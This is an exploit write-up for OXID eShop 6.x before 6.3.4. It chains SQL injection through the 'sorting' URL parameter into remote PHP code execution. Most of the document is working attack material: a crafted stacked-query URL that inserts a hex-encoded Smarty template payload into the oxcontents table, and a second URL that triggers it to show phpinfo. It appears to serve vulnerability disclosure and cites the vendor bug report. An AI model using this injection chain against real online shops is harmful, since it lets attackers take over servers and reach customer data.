OXID eShop 6.3.4 - 'sorting' SQL Injection

# Exploit Title: OXID eShop 6.3.4 - 'sorting' SQL Injection
# Date: 2019-07-29
# Exploit Author: VulnSpy
# Vendor Homepage: https://www.oxid-esales.com/
# Software Link: https://github.com/OXID-eSales/oxideshop_ce
# Version: Versions 6.x (prior to 6.3.4)
# Tested on: https://github.com/vsplate/dcenvs/tree/master/oxideshop_ce/6.3.3/dc
# CVE:

1. Click on any product item in the web page

```bash
e.g. http://***.vsgo.cloud/source/en/Kiteboarding/Kites/Kite-CORE-GT.html
```

2..Add `sorting` parameter after the URL of item detail ( Insert PHP code
to database via SQL injection )

```bash
e.g. http://***.vsgo.cloud/source/en/Kiteboarding/Kites/Kite-CORE-GT.html?sorting=oxtitle|;insert
into
oxcontents(OXID,OXLOADID,OXPOSITION,OXACTIVE,OXTITLE,OXCONTENT,OXACTIVE_1,OXTITLE_1,OXCONTENT_1,OXFOLDER,OXTERMVERSION)

VALUES(0x313233343536,0x76756c6e73707964656d6f, 0x00, 1,
0x76756c6e73707964656d6f, 0x5b7b696620706870696e666f28297d5d5b7b2f69667d5d,
1, 0x76756c6e73707964656d6f,
0x5b7b696620706870696e666f28297d5d5b7b2f69667d5d,
0x434d53464f4c4445525f55534552494e464f, 0x00);%23
```

3.Accessing the following links triggers PHP code execution and will
display the PHPINFO page if exploited successfully.

```bash
http://***.vsgo.cloud/source/index.php?cl=content&oxloadid=vulnspydemo
```

Ref:
* https://www.vulnspy.com/en-oxid-eshop-6.x-sqli-to-rce/
* https://blog.ripstech.com/2019/oxid-esales-shop-software/
* https://bugs.oxid-esales.com/view.php?id=7002